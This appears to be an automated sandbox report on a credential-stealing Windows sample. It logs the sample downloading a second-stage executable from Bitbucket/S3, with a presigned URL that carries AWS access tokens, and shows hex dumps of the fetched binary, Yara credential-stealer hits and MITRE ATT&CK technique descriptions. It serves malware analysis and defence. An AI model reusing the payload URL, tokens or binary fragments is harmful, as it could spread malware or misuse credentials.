2024-12-24 11:39:24 UTC	246	IN	Data Raw: 31 31 30 0d 0a 72 62 58 50 41 4e 67 4b 31 69 36 2f 30 38 6b 65 57 55 46 2b 47 33 79 4d 37 54 6c 52 47 57 62 33 42 34 58 66 75 56 2b 37 62 66 62 32 7a 75 31 31 2b 6a 44 30 52 73 75 6e 75 57 31 6a 48 56 46 48 55 2b 36 45 54 54 4e 73 42 5a 78 69 38 66 48 57 4c 64 77 78 32 63 44 4d 6f 57 57 76 66 62 6c 63 31 4b 43 35 66 7a 6f 6b 54 79 6c 50 76 39 77 4c 44 54 59 56 6c 47 6e 68 67 35 59 37 31 42 71 59 77 64 71 75 5a 4b 74 57 2b 57 6a 51 6f 61 52 2f 4c 54 55 58 64 52 76 50 68 56 67 6a 63 42 4b 57 5a 65 6d 36 6c 7a 72 44 43 4e 53 42 6c 36 6c 30 2b 6a 44 6d 41 70 32 32 36 79 52 6f 50 46 4a 67 58 76 6e 50 41 33 4e 78 45 6f 4e 33 76 34 4f 57 41 35 52 63 7a 70 69 62 2f 54 48 74 4a 4f 63 66 6a 50 33 34 4b 41 56 75 45 58 30 61 30 4d 4a 64 4e Data Ascii: 110rbXPANgK1i6/08keWUF+G3yM7TlRGWb3B4XfuV+7bfb2zu11+jD0RsunuW1jHVFHU+6ETTNsBZxi8fHWLdwx2cDMoWWvfblc1KC5fzokTylPv9wLDTYVlGnhg5Y71BqYwdquZKtW+WjQoaR/LTUXdRvPhVgjcBKWZem6lzrDCNSBl6l0+jDmAp226yRoPFJgXvnPA3NxEoN3v4OWA5Rczpib/THtJOcfjP34KAVuEX0a0MJdN
2024-12-24 11:39:24 UTC	33	IN	Data Raw: 48 39 49 6b 6e 2f 67 2f 5a 56 39 33 52 6e 55 6c 34 58 6a 49 72 30 6f 37 42 2f 43 6a 67 3d 3d 0d 0a Data Ascii: H9Ikn/g/ZV93RnUl4XjIr0o7B/Cjg==
2024-12-24 11:39:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	185.166.143.50	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:25 UTC	248	OUT	GET /mynewworkspace123312/scnd/downloads/FormattingCharitable.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: bitbucket.org
2024-12-24 11:39:26 UTC	5940	IN	HTTP/1.1 302 Found Date: Tue, 24 Dec 2024 11:39:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNAJIHW6MI&Signature=DYojS6kYXK8tDPuxWid2XGMMgzc%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECQaCXVzLWVhc3QtMSJGMEQCID%2Bhk6vRPsRl4SHe6CrcJadseSKzctRdUX%2FvGXdZm%2BFrAiA001Wtq5n67kTyPgNDh5FhRyYx7hnV7OfFNd%2BxR6NA1CqwAgjt%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIM62K3PVsO%2BY448G0%2FKoQCK%2Fv60WggJvlDphrHd5zmdUNk2kXzhl2RLFXVgBlZTMQlRA13gbWfv2ofvndvVTSN%2FkrYrCulHe3AqSdqnAQcyL%2FJlcmAlu2Q%2Fh7zJ35sLql1uVW4LQMDXyUCEYUi4bvlE65v4v66dFIhR7KgsEHCw6pXZRKBkGf0CK0sqCzWO%2BRcUV2A%2FMSRwAC7V29Rl759sQG8eSzB%2FZNBMOrkHc6Bbk761T0%2FCvptH55JQ2rFLI9X2ta5s21o6xE7JeSe9IIqsi6o7HSs0bchw2CCb76d3cYWdx%2Bm4LNJcjm9ZWDnZ6850MAE9dXRoGucag7YaB2IrrqzUpHncFOfVsV%2Ff8aExwuqIMgwvLSquwY6ngFCMqKHtEYDcyB3WTS20Qj8Uq5Qxh7oBgvEAP%2Bv2PeEmBxRhoUdgJqKZ%2FY2OA1J6X5xaqFlGDmor [TRUNCATED] Expires: Tue, 24 Dec 2024 11:39:26 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 49cdb257586a X-Version: c9b3998323c0 X-Static-Version: c9b3998323c0 X-Request-Count: 377 X-Render-Time: 0.07235074043273926 X-B3-Traceid: 89e8574457dc428189f699d42e937083 X-B3-Spanid: 8a27b2772c02ba12 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; object-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/; connect-src bitbucket.org .bitbucket.org bb-inf.net *.bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian [TRUNCATED] X-Usage-Quota-Remaining: 998888.470 X-Usage-Request-Cost: 1131.70 X-Usage-User-Time: 0.023238 X-Usage-System-Time: 0.010713 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 89e8574457dc428189f699d42e937083 Atl-Request-Id: 89e85744-57dc-4281-89f6-99d42e937083 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=180,atl-edge-internal;dur=2,atl-edge-upstream;dur=179,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	52.216.216.113	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:28 UTC	1348	OUT	GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNAJIHW6MI&Signature=DYojS6kYXK8tDPuxWid2XGMMgzc%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECQaCXVzLWVhc3QtMSJGMEQCID%2Bhk6vRPsRl4SHe6CrcJadseSKzctRdUX%2FvGXdZm%2BFrAiA001Wtq5n67kTyPgNDh5FhRyYx7hnV7OfFNd%2BxR6NA1CqwAgjt%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIM62K3PVsO%2BY448G0%2FKoQCK%2Fv60WggJvlDphrHd5zmdUNk2kXzhl2RLFXVgBlZTMQlRA13gbWfv2ofvndvVTSN%2FkrYrCulHe3AqSdqnAQcyL%2FJlcmAlu2Q%2Fh7zJ35sLql1uVW4LQMDXyUCEYUi4bvlE65v4v66dFIhR7KgsEHCw6pXZRKBkGf0CK0sqCzWO%2BRcUV2A%2FMSRwAC7V29Rl759sQG8eSzB%2FZNBMOrkHc6Bbk761T0%2FCvptH55JQ2rFLI9X2ta5s21o6xE7JeSe9IIqsi6o7HSs0bchw2CCb76d3cYWdx%2Bm4LNJcjm9ZWDnZ6850MAE9dXRoGucag7YaB2IrrqzUpHncFOfVsV%2Ff8aExwuqIMgwvLSquwY6ngFCMqKHtEYDcyB3WTS20Qj8Uq5Qxh7oBgvEAP%2Bv2PeEmBxRhoUdgJqKZ%2FY2OA1J6X5xaqFlGDmorOrh9Oog9i9zEYOUKNak09KnEbDGo5SeclrqYmK7J3p%2 [TRUNCATED] Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: bbuseruploads.s3.amazonaws.com
2024-12-24 11:39:28 UTC	554	IN	HTTP/1.1 200 OK x-amz-id-2: Pt14a+fP58qg0iiLbvQes/a09y3n7GqQLD6gOwZSHrzxtbs5oU6UcXzDRnYSOTh65Y4yv1q6ezQ= x-amz-request-id: HTAH9QKS7HSSF27H Date: Tue, 24 Dec 2024 11:39:29 GMT Last-Modified: Sun, 22 Dec 2024 18:56:57 GMT ETag: "73565a0bcdcb7ff5f9ce005a2530e215" x-amz-server-side-encryption: AES256 x-amz-version-id: 7hbzHT1uhpKzZ7nBtmVCaxIrBpJnNbOS Content-Disposition: attachment; filename="FormattingCharitable.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Content-Length: 1325507 Server: AmazonS3 Connection: close
2024-12-24 11:39:28 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 f0 0b 00 00 42 00 00 af 38 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOtB8
2024-12-24 11:39:28 UTC	470	IN	Data Raw: 00 ff 75 f8 e8 bb f1 ff ff e9 7b 03 00 00 ff 75 fc e8 ae f1 ff ff 33 db 81 7d 0c 05 04 00 00 75 11 89 5d 10 c7 45 14 01 00 00 00 c7 45 0c 0f 04 00 00 83 7d 0c 4e b8 13 04 00 00 74 09 39 45 0c 0f 85 dc 00 00 00 8b 7d 14 39 45 0c 74 0d 81 7f 04 08 04 00 00 0f 85 c7 00 00 00 f7 05 08 eb 47 00 00 02 00 00 75 79 39 45 0c 74 09 8b 4d 14 83 79 08 fe 75 6b 33 c9 39 45 0c 0f 95 c1 51 ff 75 fc e8 f4 fb ff ff 3b c3 7c 56 8b 55 e8 8b c8 69 c9 20 40 00 00 8d 54 11 08 8b 0a f6 c1 10 75 40 f6 c1 40 74 14 81 f1 80 00 00 00 84 c9 79 05 83 c9 01 eb 08 83 e1 fe eb 03 83 f1 01 50 89 0a e8 c2 c4 ff ff a1 08 eb 47 00 33 c9 c1 e8 08 41 f7 d0 23 c1 89 4d 10 89 45 14 c7 45 0c 0f 04 00 00 3b fb 74 3e 81 7f 08 3d fe ff ff 75 0e ff 77 5c 53 68 19 04 00 00 ff 75 fc ff d6 81 7f 08 39 Data Ascii: u{u3}u]EE}Nt9E}9EtGuy9EtMyuk39EQu;\|VUi @Tu@@tyPG3A#MEE;t>=uw\Shu9
2024-12-24 11:39:28 UTC	16384	IN	Data Raw: 07 50 ff 15 30 91 40 00 89 1d 68 1d 44 00 89 1d 6c 1d 44 00 89 1d 10 eb 47 00 81 7d 0c 0f 04 00 00 0f 85 4b 01 00 00 53 53 e8 f4 c3 ff ff 39 5d 10 74 07 6a 08 e8 0d c6 ff ff 39 5d 14 74 3f ff 35 6c 1d 44 00 e8 d1 c4 ff ff 8b f8 57 e8 7e c4 ff ff 33 c0 33 c9 3b fb 7e 0e 8b 55 e4 39 1c 82 74 01 41 40 3b c7 7c f2 53 51 68 4e 01 00 00 ff 75 f8 ff d6 89 7d 14 c7 45 0c 20 04 00 00 53 53 e8 9d c3 ff ff a1 6c 1d 44 00 89 45 e0 a1 c8 ea 47 00 c7 45 c4 30 f0 00 00 89 5d e8 39 1d cc ea 47 00 0f 8e a1 00 00 00 8d 78 08 8b 45 e0 8b 4d e8 8b 04 88 3b c3 74 79 8b 0f 89 45 bc c7 45 b8 08 00 00 00 f7 c1 00 01 00 00 74 13 8d 47 10 c7 45 b8 09 00 00 00 89 45 c8 81 27 ff fe ff ff f6 c1 40 74 05 6a 03 58 eb 0e 8b c1 83 e0 01 40 f6 c1 10 74 03 83 c0 03 ff 75 bc 8b d1 c1 e0 0b Data Ascii: P0@hDlDG}KSS9]tj9]t?5lDW~33;~U9tA@;\|SQhNu}E SSlDEGE0]9GxEM;tyEEtGEE'@tjX@tu
2024-12-24 11:39:28 UTC	1024	IN	Data Raw: 3a 00 20 00 73 00 74 00 61 00 63 00 6b 00 20 00 65 00 6d 00 70 00 74 00 79 00 00 00 00 00 45 00 78 00 63 00 68 00 3a 00 20 00 73 00 74 00 61 00 63 00 6b 00 20 00 3c 00 20 00 25 00 64 00 20 00 65 00 6c 00 65 00 6d 00 65 00 6e 00 74 00 73 00 00 00 52 00 4d 00 44 00 69 00 72 00 3a 00 20 00 22 00 25 00 73 00 22 00 00 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 42 00 6f 00 78 00 3a 00 20 00 25 00 64 00 2c 00 22 00 25 00 73 00 22 00 00 00 44 00 65 00 6c 00 65 00 74 00 65 00 3a 00 20 00 22 00 25 00 73 00 22 00 00 00 00 00 25 00 73 00 00 00 00 00 46 00 69 00 6c 00 65 00 3a 00 20 00 77 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 74 00 6f 00 20 00 22 00 25 00 73 00 22 00 00 00 00 00 46 00 69 00 6c 00 65 00 3a 00 20 00 65 00 72 00 72 00 6f 00 72 00 2c 00 20 Data Ascii: : stack emptyExch: stack < %d elementsRMDir: "%s"MessageBox: %d,"%s"Delete: "%s"%sFile: wrote %d to "%s"File: error,
2024-12-24 11:39:28 UTC	16384	IN	Data Raw: 3a 00 20 00 63 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 2d 00 20 00 61 00 20 00 66 00 69 00 6c 00 65 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 65 00 78 00 69 00 73 00 74 00 73 00 00 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 63 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 28 00 65 00 72 00 72 00 3d 00 25 00 64 00 29 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 22 00 25 00 73 00 22 00 20 00 28 00 25 00 64 00 29 00 00 00 00 00 53 00 65 00 74 00 46 00 69 00 6c 00 65 00 41 00 74 00 74 00 72 Data Ascii: : can't create "%s" - a file already existsCreateDirectory: can't create "%s" (err=%d)CreateDirectory: "%s" (%d)SetFileAttr
2024-12-24 11:39:28 UTC	1024	IN	Data Raw: 08 ce 07 cd e8 df bf 7f 82 30 a8 57 9f 88 81 3d 7b 87 3d 3d 76 58 69 b7 f9 13 7f db ed 8d 09 ff d1 73 ec 8b 65 98 86 79 fa f2 e6 7a 40 df be 7d 13 00 c6 9f 7d d6 c6 c5 d3 9f bd 88 67 9e 79 a6 55 d8 60 c7 f7 ec d9 33 01 60 5c 47 a6 5b cd 7f e2 89 27 e2 d9 70 26 00 8c b7 95 47 1f 7d f4 b2 e0 c6 c1 45 74 eb f6 70 d4 93 0f 3e 19 33 fc 91 21 b5 53 9e 9a f0 a7 89 3d c7 fd f9 b9 47 fb d5 3d d8 fd c1 98 ae dd ba 46 61 19 36 81 6d 82 8d 5a 6b 24 e8 b0 e9 32 89 07 dc 28 8c e3 f9 71 fc 19 ab c3 26 31 9a 3f 0f f1 32 5e 6c 78 b6 b7 6f df 7e f9 cf 7e f6 b3 79 d0 16 d6 18 9c 2a c0 a9 01 31 01 72 f1 e5 c3 8c 98 00 68 15 34 0b da 65 75 2a 00 5a f7 c3 30 00 fd 37 1c 19 f4 dc ba 7a df 7e 6b ea f7 0d 5c 53 89 1d be 9a 03 0a 41 5a ff 28 18 ab ae 7f 5c 61 89 8b 2c 70 a5 3f ba Data Ascii: 0W={==vXiseyz@}}gyU`3`\G['p&G}Etp>3!S=G=Fa6mZk$2(q&1?2^lxo~~y1rh4euZ07z~k\SAZ(\a,p?
2024-12-24 11:39:28 UTC	1749	IN	Data Raw: db d6 0c 99 2f df b7 6f df ae d0 97 b9 12 64 7d e6 7a e5 7f e5 bf f5 ef 3a b2 dd 82 be af 40 ca 40 ca 05 65 85 f2 43 59 a2 7c d9 20 71 99 2f 27 36 0c c4 86 41 21 e3 6c b2 88 cd 83 e2 bd f7 de 53 98 df 4d d8 64 34 03 c7 d9 0a 36 21 cd 90 7a e1 08 a9 3f 26 66 3d 33 eb a3 59 6f cd 7a 2e 48 1c 98 71 62 62 c6 99 19 87 82 19 af 12 c7 12 df 8a 99 1c f3 af 4c a7 59 d3 67 d0 ac 19 b6 7c f0 ca f4 57 88 8d 0b 21 af e8 4c 9e 3c b9 19 6c 4e 2c 61 93 d2 08 1b 15 e2 1c a5 c6 f1 1b 36 40 6d 5e 9f be 1e 80 f5 58 c1 c6 a6 19 dc 08 52 b0 d9 69 06 e7 4b 4b d8 cc 28 d8 bc 34 83 cd 8b 82 4d 8b 25 6c 62 14 c3 86 0d a3 a1 c3 87 d2 d0 61 43 69 cc 8b a3 69 da f3 93 68 76 5f 2e d3 9e 36 03 30 72 c0 70 1a f2 e2 10 7a e1 c5 17 88 f3 36 b1 99 69 06 9b 17 05 9b 1a 85 7c 67 d3 a2 60 d3 Data Ascii: /od}z:@@eCY\| q/'6A!lSMd46!z?&f=3Yoz.HqbbLYg\|W!L<lN,a6@m^XRiKK(4M%lbaCiihv_.60rpz6i\|g`
2024-12-24 11:39:28 UTC	16384	IN	Data Raw: 41 04 45 04 48 10 01 14 4c 23 e0 c8 10 08 ba 19 d0 d1 c5 f9 4a b0 5a b7 15 b2 3d cd b7 db de 5d bf 89 5b fc 9b 9d 68 db 96 0d b4 67 e3 db b4 67 c3 02 da ba 7e 19 ad 5b bf 81 d6 ae 6b de 7a 17 74 31 c5 38 ca 04 42 bf 73 e7 ce 46 03 00 f0 5d 4e 49 c0 b0 60 5b d4 7f da cd 85 ac 5b d6 27 c7 c3 c4 3c 5e e6 74 a0 7a 7b 98 b5 7c bc 37 b1 b8 82 75 38 ee f6 e9 6a 19 7b 3d 50 62 6e 67 2d 0b f5 86 95 dc fa df b0 91 de 75 da a3 58 c5 fb be 01 46 80 d7 21 3d 04 8a ab 24 f0 82 59 9f 05 5d e0 ad d0 7b 0b 00 7a 01 10 37 88 65 3d 77 58 09 bb 88 bb 15 66 f7 34 7e 8b 75 8a 01 b0 12 79 9d d6 84 5e 30 85 5e 84 5b 04 be 35 a1 37 05 5e be 9b c8 f2 92 4f 80 be 1d d8 46 d9 ee c6 cf 77 f9 f3 5d db 27 10 73 23 06 48 7a 61 a4 ec e5 78 e8 c7 05 e3 38 8e 38 c6 a8 27 a8 7b 12 3b 66 6e Data Ascii: AEHL#JZ=][hgg~[kzt18BsF]NI`[['<^tz{\|7u8j{=Pbng-uXF!=$Y]{z7e=wXf4~uy^0^[57^OFw]'s#Hzax88'{;fn
2024-12-24 11:39:28 UTC	1024	IN	Data Raw: 7c 06 85 ec d9 47 19 9c dc b2 0a 72 1a 0d 00 b0 32 01 6d 31 02 97 6a 00 04 11 04 5d 2c 74 1a 05 df 84 0d 40 45 75 21 95 55 16 52 54 50 05 ad 9d de 40 d3 1e 3a 43 53 99 b5 af 34 50 64 20 8b 5e 55 11 55 d6 5e 6c 00 20 f0 e5 dc 62 ce 88 4f a1 e0 1d 9e b4 f7 8d 55 e4 f2 fa 0a 0a dc e2 aa ee 2d 2e 87 01 a8 fe ee 0d 00 c4 1f 5d fc 19 55 d5 14 7c f2 0c b7 fc 3f 51 e2 7f f0 e4 69 4a ab ac a2 52 2e 8f b2 ef 91 01 90 63 84 f5 e3 a9 67 00 e3 22 f0 fa b1 95 71 39 ee 66 bd 68 34 00 5c 77 f2 58 a0 73 73 b2 29 31 23 9f 0e 25 17 53 44 6a 31 65 e7 e4 52 79 41 16 15 e4 36 d5 41 bc 16 16 ef b1 28 28 2c a2 fc 82 42 ca e5 f5 a0 4e ca 79 7b a9 d3 40 89 b5 32 01 5c c7 f3 b8 3e e7 f2 b8 6f 08 25 4c df 44 99 5d 27 53 f5 cf fb d0 f1 3b 9e a0 da 47 87 50 21 1b 80 74 df 40 4a ce cc Data Ascii: \|Gr2m1j],t@Eu!URTP@:CS4Pd ^UU^l bOU-.]U\|?QiJR.cg"q9fh4\wXss)1#%SDj1eRyA6A((,BNy{@2\>o%LD]'S;GP!t@J
2024-12-24 11:39:28 UTC	16384	IN	Data Raw: f5 b4 fa 8d a5 b4 7a de 52 da b4 64 1d ed dc e6 44 7b 5d f7 aa 65 f0 54 59 08 3e ea 08 62 05 f5 1b 26 e2 bd f7 de a3 d1 a3 47 b7 66 00 76 b2 9a e3 41 40 78 11 d0 33 cc 93 37 74 bf fd 95 1b fb 76 0e bf 71 d0 3d 5f de fc c2 fd 74 f3 90 fb e9 c6 e7 ef fb ec 86 41 f7 06 dc 32 a8 43 7f 5e 46 06 11 ff 2b 32 00 d5 a1 83 07 d5 84 0d f6 ad 3c 3c d0 df 3e e9 bb 19 de 3a d7 d0 7e ee 67 c7 07 bd f6 eb 0f 77 be f6 cd f9 af 97 13 d1 32 66 ce 85 33 a7 66 7d 7c 0a 85 a2 0f 57 dd 00 20 51 a0 15 83 eb 00 70 ee 06 c9 03 15 01 dd 39 a0 c9 08 84 52 78 84 8d b0 f0 96 bb f3 04 d3 10 98 06 40 2a 9d 59 a1 25 58 24 a0 04 3d 78 81 24 80 46 03 c0 e0 71 99 78 2e 76 d8 be 03 e4 f6 da 2a 65 02 36 f5 9b 4e ee 3c 1e e1 13 44 69 6c 0e f0 1e 6d f3 65 43 97 63 00 ac 8c 80 95 09 d0 c5 1f 88 Data Ascii: zRdD{]eTY>b&GfvA@x37tvq=_tA2C^F+2<<>:~gw2f3f}\|W Qp9Rx@Y%X$=x$Fqx.ve6N<DilmeCc

Target ID:	0
Start time:	06:38:59
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\j6ks0Fxu6t.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\j6ks0Fxu6t.exe"
Imagebase:	0x570000
File size:	2'897'408 bytes
MD5 hash:	60F8310A2931CA33419849EA4D202ACB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1849009282.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1847566781.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1847646303.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:39:31
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6596 -s 832
Imagebase:	0xeb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
